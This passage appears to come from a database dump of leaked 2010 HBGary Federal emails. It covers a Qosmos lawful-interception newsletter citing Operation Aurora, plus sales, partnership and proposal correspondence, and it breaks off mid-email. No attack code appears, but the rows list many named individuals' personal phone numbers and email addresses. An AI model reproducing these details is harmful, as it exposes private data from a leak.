Voilà!&nbsp;In this issue of QosmoNote, you can read more about how Qosmos can help you build stronger cyber security and lawful interception solutions.You can also&nbsp;book a meeting&nbsp;with us to discuss during&nbsp;ISS World&nbsp;in Dubai, 23-25 February. Enjoy.Thibaut Bechetoille, Qosmos CEOApplication Spotlight: Cyber DefenseCommercial Off-The-Shelf (COTS) cyber security products are necessary but not sufficient to detect zero-day attacks and advanced threats. For the most sensitive networks, a second layer of cyber defense must be developed, in the form of a custom solution combining specific human expertise with network intelligence technology.Learn more about how Qosmos Network Intelligence building blocks can be used:Download updated Solution Brief on government cyber securityRead Press Release on Operation AuroraProduct Spotlight: ixMachine LI EditionQosmos ixMachine LI Edition probes intercept IP traffic at high throughputs and feed interception related information to third party LI management systems. The portfolio now includes IP probes for interception on IP or MAC address; AAA probes for interception on user identities provided by Radius or DHCP; email, VoIP and multi-service probes for interception of IP-based services such as Webmail or Instant Messaging.For more information,&nbsp;attend our ixMachine LI demonstration at ISS World in Dubai&nbsp;or access online resources:Download White paper: Next-Generation Lawful InterceptionRead Datasheet: ixM LI Edition probes&lt;tranche.jpg&gt;Meet Qosmos at&lt;iss_mea.jpg&gt;Book a meeting&lt;cybersec_tallinn.jpg&gt;Book a meetingQosmos Webcasts&lt;qosmos_webcast.jpg&gt;Network Intelligence Technology BriefCustomers&lt;Utimaco_Safeware_logo.jpg&gt;Utimaco chooses Qosmos to provide Network Intelligence for Lawful Intercept solutionCompany NewsOperation Aurora highlights network vulnerabilityCTO BlogCould you have used Qosmos to detect the Operation Aurora cyber attack?&lt;spacer.jpg&gt;Contact Us:&nbsp;Global Headquarters&nbsp;-&nbsp;US Office&nbsp;-&nbsp;APAC OfficeYou have received this e-mail because you are in contact with Qosmos as a valued customer or partner.&nbsp;Click here to&nbsp;unsubscribe\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M FarrellVP Federal&nbsp;Endgame Systems75 5th Street Suite 208Atlanta, GA 30308john@endgames.us\r\n\r\n',2794,'aaron_hbgary_com/2794.html'),(2418,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001114.M399678P3547Q2418.eml','\"John Farrell\" <john@endgames.us>','Re: QosmoNote - Special ISS World MEA Edition - February 2010','yep. &nbsp;go to hbgary.com and its there.On Feb 10, 2010, at 2:22 PM, John Farrell wrote:has HB Gary released their Aurora report yet? i\'d like to see the final version.On Feb 10, 2010, at 1:55 PM, Aaron Barr wrote:Interesting. &nbsp;There is a guy from Qosmos that has been wanting to get togethe with me. &nbsp;We are going to get together Monday or Tuesday. &nbsp;I\'ll let you know how that goes.AaronOn Feb 10, 2010, at 1:48 PM, John Farrell wrote:aaron,&nbsp;here\'s another company who is leveraging the aurora attack for marketing purposes......JohnBegin forwarded message:From: \"theo@qosmos.com\" &lt;theo@qosmos.com&gt;Date: February 10, 2010 12:00:29 PM ESTTo: John Farrell &lt;john@endgames.us&gt;Subject: QosmoNote - Special ISS World MEA Edition - February 2010Reply-To: \"theo@qosmos.com\" &lt;theo@qosmos.com&gt;If you cannot read this e-mail,&nbsp;click here&lt;logo.jpg&gt;&lt;edito.jpg&gt;&lt;apps.jpg&gt;&lt;qosmostv.jpg&gt;&lt;try.jpg&gt;&lt;contact.jpg&gt;Cyber Security: Preventing Another Operation AuroraI am sure you have heard of “Operation Aurora”, the cyber attack conducted in December 2009 against Google and more than 20 other companies, including Adobe Systems, Juniper Networks, Rackspace, Yahoo, Symantec, Northrop Grumman and Dow Chemical.Technically, the principle of the attack was simple: 1) a malware was installed on a PC by a Trojan exploiting a vulnerability in Internet Explorer, and 2) a covert connection was made using a custom encrypted protocol, instead of the standard HTTPS protocol encrypted with SSL. The result: commercial off-the-shelf (COTS) cyber security solutions did not detect the attack… This is a stark reminder that COTS products are not effective at detecting a&nbsp;zero-day attack&nbsp;such as Operation Aurora.&nbsp;A second line of cyber protection is needed!Qosmos plays a key role in building this second line of defense. Our customers use Qosmos network intelligence technology to provide full traffic visibility to a custom-built cyber security solution. This custom solution acts as a second line of cyber protection (complementing COTS), and is able to detect and mitigate the most advanced threats – including zero-day attacks.In the case of Operation Aurora, a custom development based on Qosmos could have detected that abnormal traffic was flowing out of the network and the system could have been instructed to block the traffic, which would have stopped the attack. Voilà!&nbsp;In this issue of QosmoNote, you can read more about how Qosmos can help you build stronger cyber security and lawful interception solutions.You can also&nbsp;book a meeting&nbsp;with us to discuss during&nbsp;ISS World&nbsp;in Dubai, 23-25 February. Enjoy.Thibaut Bechetoille, Qosmos CEOApplication Spotlight: Cyber DefenseCommercial Off-The-Shelf (COTS) cyber security products are necessary but not sufficient to detect zero-day attacks and advanced threats. For the most sensitive networks, a second layer of cyber defense must be developed, in the form of a custom solution combining specific human expertise with network intelligence technology.Learn more about how Qosmos Network Intelligence building blocks can be used:Download updated Solution Brief on government cyber securityRead Press Release on Operation AuroraProduct Spotlight: ixMachine LI EditionQosmos ixMachine LI Edition probes intercept IP traffic at high throughputs and feed interception related information to third party LI management systems. The portfolio now includes IP probes for interception on IP or MAC address; AAA probes for interception on user identities provided by Radius or DHCP; email, VoIP and multi-service probes for interception of IP-based services such as Webmail or Instant Messaging.For more information,&nbsp;attend our ixMachine LI demonstration at ISS World in Dubai&nbsp;or access online resources:Download White paper: Next-Generation Lawful InterceptionRead Datasheet: ixM LI Edition probes&lt;tranche.jpg&gt;Meet Qosmos at&lt;iss_mea.jpg&gt;Book a meeting&lt;cybersec_tallinn.jpg&gt;Book a meetingQosmos Webcasts&lt;qosmos_webcast.jpg&gt;Network Intelligence Technology BriefCustomers&lt;Utimaco_Safeware_logo.jpg&gt;Utimaco chooses Qosmos to provide Network Intelligence for Lawful Intercept solutionCompany NewsOperation Aurora highlights network vulnerabilityCTO BlogCould you have used Qosmos to detect the Operation Aurora cyber attack?&lt;spacer.jpg&gt;Contact Us:&nbsp;Global Headquarters&nbsp;-&nbsp;US Office&nbsp;-&nbsp;APAC OfficeYou have received this e-mail because you are in contact with Qosmos as a valued customer or partner.&nbsp;Click here to&nbsp;unsubscribe\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M FarrellVP Federal&nbsp;Endgame Systems75 5th Street Suite 208Atlanta, GA 30308john@endgames.us\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6229,'aaron_hbgary_com/6229.html'),(2419,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001114.M758634P3547Q2419.eml','\"John Farrell\" <john@endgames.us>','Re: QosmoNote - Special ISS World MEA Edition - February 2010','the innoculation shot as released also.On Feb 10, 2010, at 2:22 PM, John Farrell wrote:has HB Gary released their Aurora report yet? i\'d like to see the final version.On Feb 10, 2010, at 1:55 PM, Aaron Barr wrote:Interesting. &nbsp;There is a guy from Qosmos that has been wanting to get togethe with me. &nbsp;We are going to get together Monday or Tuesday. &nbsp;I\'ll let you know how that goes.AaronOn Feb 10, 2010, at 1:48 PM, John Farrell wrote:aaron,&nbsp;here\'s another company who is leveraging the aurora attack for marketing purposes......JohnBegin forwarded message:From: \"theo@qosmos.com\" &lt;theo@qosmos.com&gt;Date: February 10, 2010 12:00:29 PM ESTTo: John Farrell &lt;john@endgames.us&gt;Subject: QosmoNote - Special ISS World MEA Edition - February 2010Reply-To: \"theo@qosmos.com\" &lt;theo@qosmos.com&gt;If you cannot read this e-mail,&nbsp;click here&lt;logo.jpg&gt;&lt;edito.jpg&gt;&lt;apps.jpg&gt;&lt;qosmostv.jpg&gt;&lt;try.jpg&gt;&lt;contact.jpg&gt;Cyber Security: Preventing Another Operation AuroraI am sure you have heard of “Operation Aurora”, the cyber attack conducted in December 2009 against Google and more than 20 other companies, including Adobe Systems, Juniper Networks, Rackspace, Yahoo, Symantec, Northrop Grumman and Dow Chemical.Technically, the principle of the attack was simple: 1) a malware was installed on a PC by a Trojan exploiting a vulnerability in Internet Explorer, and 2) a covert connection was made using a custom encrypted protocol, instead of the standard HTTPS protocol encrypted with SSL. The result: commercial off-the-shelf (COTS) cyber security solutions did not detect the attack… This is a stark reminder that COTS products are not effective at detecting a&nbsp;zero-day attack&nbsp;such as Operation Aurora.&nbsp;A second line of cyber protection is needed!Qosmos plays a key role in building this second line of defense. Our customers use Qosmos network intelligence technology to provide full traffic visibility to a custom-built cyber security solution. This custom solution acts as a second line of cyber protection (complementing COTS), and is able to detect and mitigate the most advanced threats – including zero-day attacks.In the case of Operation Aurora, a custom development based on Qosmos could have detected that abnormal traffic was flowing out of the network and the system could have been instructed to block the traffic, which would have stopped the attack. Voilà!&nbsp;In this issue of QosmoNote, you can read more about how Qosmos can help you build stronger cyber security and lawful interception solutions.You can also&nbsp;book a meeting&nbsp;with us to discuss during&nbsp;ISS World&nbsp;in Dubai, 23-25 February. Enjoy.Thibaut Bechetoille, Qosmos CEOApplication Spotlight: Cyber DefenseCommercial Off-The-Shelf (COTS) cyber security products are necessary but not sufficient to detect zero-day attacks and advanced threats. For the most sensitive networks, a second layer of cyber defense must be developed, in the form of a custom solution combining specific human expertise with network intelligence technology.Learn more about how Qosmos Network Intelligence building blocks can be used:Download updated Solution Brief on government cyber securityRead Press Release on Operation AuroraProduct Spotlight: ixMachine LI EditionQosmos ixMachine LI Edition probes intercept IP traffic at high throughputs and feed interception related information to third party LI management systems. The portfolio now includes IP probes for interception on IP or MAC address; AAA probes for interception on user identities provided by Radius or DHCP; email, VoIP and multi-service probes for interception of IP-based services such as Webmail or Instant Messaging.For more information,&nbsp;attend our ixMachine LI demonstration at ISS World in Dubai&nbsp;or access online resources:Download White paper: Next-Generation Lawful InterceptionRead Datasheet: ixM LI Edition probes&lt;tranche.jpg&gt;Meet Qosmos at&lt;iss_mea.jpg&gt;Book a meeting&lt;cybersec_tallinn.jpg&gt;Book a meetingQosmos Webcasts&lt;qosmos_webcast.jpg&gt;Network Intelligence Technology BriefCustomers&lt;Utimaco_Safeware_logo.jpg&gt;Utimaco chooses Qosmos to provide Network Intelligence for Lawful Intercept solutionCompany NewsOperation Aurora highlights network vulnerabilityCTO BlogCould you have used Qosmos to detect the Operation Aurora cyber attack?&lt;spacer.jpg&gt;Contact Us:&nbsp;Global Headquarters&nbsp;-&nbsp;US Office&nbsp;-&nbsp;APAC OfficeYou have received this e-mail because you are in contact with Qosmos as a valued customer or partner.&nbsp;Click here to&nbsp;unsubscribe\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M FarrellVP Federal&nbsp;Endgame Systems75 5th Street Suite 208Atlanta, GA 30308john@endgames.us\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',638,'aaron_hbgary_com/638.html'),(2420,'2010-02-10','\"Hull, George B (TASC Inc)\" <George.Hull@TASC.COM>','/aaron@hbgary.com/new/1297001114.M998816P3547Q2420.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Your status','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;\r\nI found the product description interesting.&nbsp; Dan is the one most likely\r\nto have a use for it (or rather his customer).&nbsp; I missed the initial 20\r\nminutes of the brief as I was talking with Pat, so missed the intro\r\nmaterial.&nbsp; I also liked the intelligence analytics potential you&#8217;ll\r\ndiscussed.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;\r\nI am not sure how Steve set-up the meeting or what his expectations were and I\r\ndid not know all the folks in the room so I can&#8217;t answer for the &#8220;audience.&#8221;&nbsp;\r\nHowever I tracked the discussion pretty well.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;\r\nBruce Phillips has been leading most of the cyber discussions from Pam Drew&#8217;s\r\nBU.&nbsp; He is an OU Director now with a focus on DHS. He is interested in DHS\r\nIA business, but does not have much there yet. Terry Wilson is another OU\r\nDirector in Pam Drew&#8217;s BU and his main contract is JITC support.&nbsp; He\r\ndoes some IA testing, but not sure if he would need the reverse engineering\r\ncapability.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\nRich R. does not have much of a cyber or network background.\r\n\r\n&nbsp;\r\n\r\nGeorge\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGeorge B. Hull \r\nDirector of Technology &amp; Strategy \r\nMission Engineering Business Unit \r\nOffice: 703-449-3987 \r\nCell: 571-230-7495\r\n\r\ngeorge.hull@tasc.com \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 10:54 PM\r\nTo: Hull, George B (TASC Inc)\r\nSubject: Re: Your status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGeorge,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGood to see you last week. &nbsp;What did you think about\r\nour discussions?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI already got some feedback from Steve that we missed our\r\naudience a bit. &nbsp;While I generally think he is a pain in the neck I think\r\nthat assessment is somewhat accurate. &nbsp;I was hoping you, Dan, and Eric got\r\nsomething out of it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI had a good meeting with Al Pisani last week. &nbsp;He\r\nwants me to talk with Rich R. and some other folks out of Pams BU for Civil.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 13, 2010, at 9:21 AM, George Hull wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  LinkedIn\r\n  George\r\n  Hull\r\n  has sent you a message.\r\n  Date: 1/13/2010 \r\n  Subject: Re: Your status \r\n  Aaron,\r\n  \r\n  That was one of my themes from the 2d Air Force Science Board report on\r\n  Cyberwar. In the 1st study, I successfully argued for the position that we\r\n  cannot necessarily keep bad guys out of our networks and systems and that for\r\n  warfighting systems and networks we had to learn to &quot;fight through&quot;\r\n  these attacks, not pull systems off line and launch investigations. In the 2d\r\n  study, I set out a position at one point that information assurance was not\r\n  enough, it was a necessary but not sufficient condition for mission success.\r\n  Instead we need Mission Assurance. We protect systems and networks in order\r\n  to protect information, we protect information in order to accomplish\r\n  missions. It is a mission assurance focus we need. Key to a Mission Assurance\r\n  focus is that we cannot leave information security completely in the hand of\r\n  the A6 (or N6, G6 or J6). It is an operational responsibility and thus the\r\n  province of the 3\'s of the world and their Commanders. Mission assurance is a\r\n  top down look, while information assurance is typically bottoms up. They are\r\n  both needed. Both the Fighting Through and Mission Assurance themes seem to\r\n  have caught on. Nice to see the study panel\'s work having some impact.\r\n  \r\n  Hope you are doing well in your new role. Things are interesting here. Lot\'s of\r\n  change and much more to come.\r\n  \r\n  George\r\n  \r\n  On 01/12/10 12:06 PM, Aaron Barr wrote:\r\n  --------------------\r\n  Aaron Barr Gen. Kehler states at AFCEA cyberspace conference, &quot;you can\'t\r\n  defend cyberspace, it\'s about mission assurance&quot;. \r\n  View/reply to this message\r\n  \r\n  Don\'t want to receive\r\n  e-mail notifications? Adjust your message settings.\r\n  \r\n  &copy; 2009, LinkedIn Corporation \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14095,'aaron_hbgary_com/14095.html'),(2421,'2010-02-10','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001115.M251442P3547Q2421.eml','greg@hbgary.com,penny@hbgary.com,aaron@hbgary.com','Re: Operation Aurora Report','Here is the Dark Reading story. Kelly does a nice job here. She did, however,&nbsp;broaden her story&nbsp;to include other security experts i.e. Mandiant and Solera Networks. \r\nhttp://darkreading.com/vulnerability_management/security/attacks/showArticle.jhtml?articleID=222700786\r\n&nbsp;\r\nAlso, both report and inoculation shot getting nice pickup on Twitter. Karen&nbsp;&nbsp;--- On Wed, 2/10/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Operation Aurora ReportTo: greg@hbgary.com, penny@hbgary.com, aaron@hbgary.comDate: Wednesday, February 10, 2010, 8:15 AM\r\n\r\n\r\n\r\n\r\n\r\nWe got our first story http://www.net-security.org/malware_news.php?id=1223\r\n&nbsp;\r\nI\'ve already tweeted about the report/free utility --\r\n&nbsp;\r\nwill keep you posted on additional coverage today.\r\n\r\n\r\n\r\n',12988,'aaron_hbgary_com/12988.html'),(2422,'2010-02-10','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001115.M467467P3547Q2422.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Contact Info - more to come','I think the plan is to have Phil do most of it with Rich as the person\r\noverseeing it.  Ideally we\'ll be able to remove ourselves and work\r\nwith partners.  Rich has some individuals that can work on this if PwC\r\nor Foundstone can\'t.  BTW, coming to DC tomorrow morning to meet with\r\nBlackbird\r\n\r\nOn Wed, Feb 10, 2010 at 10:22 AM, Aaron Barr  wrote:\r\n> Penny,\r\n> My plan is to shadow at some level Rich/Phil on the execution of the Dupont\r\n> IR, learn, document.  In talking with both RIch and Phil today most of these\r\n> is non-standardized, individual best practices.  To maximize effectiveness\r\n> and costs/margin we will want to proceduralize this as much as possible, and\r\n> utilize the strength of team mates like PwC and Foundstone, especially for\r\n> the bodies and forensics, chain of custody type work.\r\n> Is the plan to have Rich do pretty much all of it with little help from\r\n> Phil?  I would really like to benefit from watching them both at some level,\r\n> is that possible?\r\n> Aaron\r\n> On Feb 10, 2010, at 1:19 PM, Penny Leavy wrote:\r\n>\r\n> If they register the deal they get 30% so you need to make sure they\r\n> understand this is already being worked\r\n>\r\n> On Wed, Feb 10, 2010 at 10:13 AM, Bob Slapnik  wrote:\r\n>>\r\n>> Rich,\r\n>>\r\n>> Hmmmm.  McAfee and Verdaysis competing on DDNA?\r\n>>\r\n>> I don\'t want to piss off Verdasys, but DuPont initiated this dialogue\r\n>> about ePO, not us.\r\n>>\r\n>> It will be interesting to see if McAfee rep comes at us requesting a cut\r\n>> on the deal.\r\n>>\r\n>> Bob\r\n>>\r\n>> On Wed, Feb 10, 2010 at 12:32 PM, Rich Cummings  wrote:\r\n>>>\r\n>>> FYI - Mcafee guy below just called and said that Dupont was interested in\r\n>>> hearing about the DDNA integration with ePO.   They are going on site to\r\n>>> Dupont next week as they are presenting the future of Mcafee epo etc.\r\n>>> Dupont specifically asked them to have someone on standby to discuss the\r\n>>> integration and partnership.  I’m going to get this guy an evaluation\r\n>>> version and set him up with Phil to go through the product on Monday.\r\n>>>\r\n>>>\r\n>>>\r\n>>> He will be in Delaware on Wednesday presenting to Dupont.  I said that we\r\n>>> have spoken with Dupont and they had tested DDNA already.  I didn’t say\r\n>>> anything else to them.\r\n>>>\r\n>>>\r\n>>>\r\n>>> RC\r\n>>>\r\n>>>\r\n>>>\r\n>>> From: Jason_Winters@McAfee.com [mailto:Jason_Winters@McAfee.com]\r\n>>> Sent: Wednesday, February 10, 2010 12:05 PM\r\n>>> To: rich@hbgary.com\r\n>>> Subject: Contact Info - more to come\r\n>>>\r\n>>>\r\n>>>\r\n>>> Thanks\r\n>>>\r\n>>>\r\n>>>\r\n>>> Jason M. Winters\r\n>>>\r\n>>> Enterprise Systems Engineer | McAfee\r\n>>>\r\n>>>\r\n>>>\r\n>>> Tele: +1 410.695.4211 | Email: jason_winters@mcafee.com\r\n>>>\r\n>>>\r\n>>>\r\n>>> \r\n>>>\r\n>>> The information contained in this email message may be privileged,\r\n>>> confidential and protected from disclosure. If you are not the intended\r\n>>> recipient, any review, dissemination, distribution or copying is strictly\r\n>>> prohibited. If you have received this email message in error, please notify\r\n>>> the sender by reply email and delete the message and any attachments.\r\n>>>\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Bob Slapnik\r\n>> Vice President\r\n>> HBGary, Inc.\r\n>> 301-652-8885 x104\r\n>> bob@hbgary.com\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',8651,'aaron_hbgary_com/8651.html'),(2423,'2010-02-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001115.M697025P3547Q2423.eml','\"Barr Aaron\" <aaron@hbgary.com>','About HBGary','How does this look?  I want to send to Dan @ MacB today:\r\n\r\nAbout HBGary & HBGary Federal:\r\nHBGary was founded in 2003 by renowned security expert Greg Hoglund.\r\nMr. Hoglund and his team are internationally known experts in the\r\nfield of Windows internals, software reverse engineering, bug\r\nidentification, rootkit development techniques and countermeasures.\r\nHBGary specializes in developing enterprise malware detection and\r\nanalysis solutions and incident response tools that provide active\r\nintelligence for its customers.  HBGary launched HBGary Federal in\r\n2009 to become a leading provider of services and solutions to detect,\r\ndiagnose and respond to advanced malware threats and provide expert\r\nclassified services to the Department of Defense, Intelligence\r\nCommunity and other U.S. government agencies. HBGary Federal provides\r\nactive intelligence that is critical to understanding the intent of\r\nthe threat, the traits associated with the malware and information\r\nthat will help make existing customer security investments more\r\nvaluable.  HBGary and HBGary Federal are headquartered in Sacramento\r\nwith sales offices in the Washington D.C. area.  For more information\r\nabout HBGary products and HBGary Federal services, please visit:\r\nhttp://www.hbgary.com.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9709,'aaron_hbgary_com/9709.html'),(2424,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001115.M912281P3547Q2424.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Contact Info - more to come','OK great.  I would rather not pull out completely.  My preference would be to partner with the PwC and Foundstones to do the body work with our processes and tools.  We have a lead that manages the operation on ground and the advanced malware analysis.\r\n\r\nAaron\r\n\r\n\r\nOn Feb 10, 2010, at 3:11 PM, Penny Leavy wrote:\r\n\r\n> I think the plan is to have Phil do most of it with Rich as the person\r\n> overseeing it.  Ideally we\'ll be able to remove ourselves and work\r\n> with partners.  Rich has some individuals that can work on this if PwC\r\n> or Foundstone can\'t.  BTW, coming to DC tomorrow morning to meet with\r\n> Blackbird\r\n> \r\n> On Wed, Feb 10, 2010 at 10:22 AM, Aaron Barr  wrote:\r\n>> Penny,\r\n>> My plan is to shadow at some level Rich/Phil on the execution of the Dupont\r\n>> IR, learn, document.  In talking with both RIch and Phil today most of these\r\n>> is non-standardized, individual best practices.  To maximize effectiveness\r\n>> and costs/margin we will want to proceduralize this as much as possible, and\r\n>> utilize the strength of team mates like PwC and Foundstone, especially for\r\n>> the bodies and forensics, chain of custody type work.\r\n>> Is the plan to have Rich do pretty much all of it with little help from\r\n>> Phil?  I would really like to benefit from watching them both at some level,\r\n>> is that possible?\r\n>> Aaron\r\n>> On Feb 10, 2010, at 1:19 PM, Penny Leavy wrote:\r\n>> \r\n>> If they register the deal they get 30% so you need to make sure they\r\n>> understand this is already being worked\r\n>> \r\n>> On Wed, Feb 10, 2010 at 10:13 AM, Bob Slapnik  wrote:\r\n>>> \r\n>>> Rich,\r\n>>> \r\n>>> Hmmmm.  McAfee and Verdaysis competing on DDNA?\r\n>>> \r\n>>> I don\'t want to piss off Verdasys, but DuPont initiated this dialogue\r\n>>> about ePO, not us.\r\n>>> \r\n>>> It will be interesting to see if McAfee rep comes at us requesting a cut\r\n>>> on the deal.\r\n>>> \r\n>>> Bob\r\n>>> \r\n>>> On Wed, Feb 10, 2010 at 12:32 PM, Rich Cummings  wrote:\r\n>>>> \r\n>>>> FYI - Mcafee guy below just called and said that Dupont was interested in\r\n>>>> hearing about the DDNA integration with ePO.   They are going on site to\r\n>>>> Dupont next week as they are presenting the future of Mcafee epo etc.\r\n>>>> Dupont specifically asked them to have someone on standby to discuss the\r\n>>>> integration and partnership.  I’m going to get this guy an evaluation\r\n>>>> version and set him up with Phil to go through the product on Monday.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> He will be in Delaware on Wednesday presenting to Dupont.  I said that we\r\n>>>> have spoken with Dupont and they had tested DDNA already.  I didn’t say\r\n>>>> anything else to them.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> RC\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> From: Jason_Winters@McAfee.com [mailto:Jason_Winters@McAfee.com]\r\n>>>> Sent: Wednesday, February 10, 2010 12:05 PM\r\n>>>> To: rich@hbgary.com\r\n>>>> Subject: Contact Info - more to come\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> Thanks\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> Jason M. Winters\r\n>>>> \r\n>>>> Enterprise Systems Engineer | McAfee\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> Tele: +1 410.695.4211 | Email: jason_winters@mcafee.com\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> The information contained in this email message may be privileged,\r\n>>>> confidential and protected from disclosure. If you are not the intended\r\n>>>> recipient, any review, dissemination, distribution or copying is strictly\r\n>>>> prohibited. If you have received this email message in error, please notify\r\n>>>> the sender by reply email and delete the message and any attachments.\r\n>>>> \r\n>>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> --\r\n>>> Bob Slapnik\r\n>>> Vice President\r\n>>> HBGary, Inc.\r\n>>> 301-652-8885 x104\r\n>>> bob@hbgary.com\r\n>> \r\n>> \r\n>> \r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15390,'aaron_hbgary_com/15390.html'),(2425,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001116.M114532P3547Q2425.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: MacB','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Kevin L Keathley \r\n> Date: February 10, 2010 1:51:01 PM EST\r\n> To: aaron@hbgary.com\r\n> Subject: MacB\r\n> Reply-To: cybernigma@gmail.com\r\n> \r\n> Hello Aaron,\r\n>  My name is Kevin L Keathley, and I work for MacB down here in San\r\n> Antonio.  Currently I\'m working on a rewrite of the 2.2.1 section of the\r\n> GUARDIAN prop that we\'re teaming on.  I was giving your contact\r\n> information by Dan Willis.  I\'m looking for some information from you\r\n> folks concerning your analysis/reverse engineering process and unique\r\n> tools that I can integrate into our writeup.\r\n>  I\'m particularly interested in specific tools that you use in your\r\n> process that we may be able to integrate into the overall process.  What\r\n> we\'re trying to do is show the client that we bring in something special\r\n> from each of the companies that they may not already be familiar with\r\n> from past experience.\r\n>  I\'ve worked with the client for several years as a developer as well\r\n> as a reverse engineer, and I\'m very familiar with their own tools and\r\n> processes.  I\'ll be able to take pieces from what you folks provide that\r\n> they\'re not familiar with along with pieces from some of our other MacB\r\n> teams and merge them together to show the client why our partnership can\r\n> bring more to the table than our competitors.\r\n>  If you have any sort of overview of your process that can be shared\r\n> with us at MacB for these purposes then that would be really helpful as\r\n> well, whether it\'s a chart or a brief description.  I\'m emphasizing\r\n> analysis and reverse engineering of malicious logic through this writeup.\r\n> \r\n> My cell is 210-725-5254 and my e-mail of course is cybernigma@gmail.com.\r\n> \r\n> I wanted to fire off an e-mail first since I did not know what your\r\n> schedule was like currently.  Feel free to talk back to me via either\r\n> method.\r\n> \r\n> I\'ve attached my public key should you desire to use it for anything.\r\n> \r\n> Thank you,\r\n>  -=[Kevin]=-\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5323,'aaron_hbgary_com/5323.html'),(2426,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001116.M369904P3547Q2426.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,','DARPA BAA','Hi Chris,\r\n\r\nI have had a few discussions with Greg over the last few days on the BAA and exchanged some ideas.  He is pretty swamped the rest of the week dealing with some incident response and product issues.  I am pulling together his and my thoughts now.  Do you want to have a discussion today or tomorrow on the technical areas and then we can bring Greg in 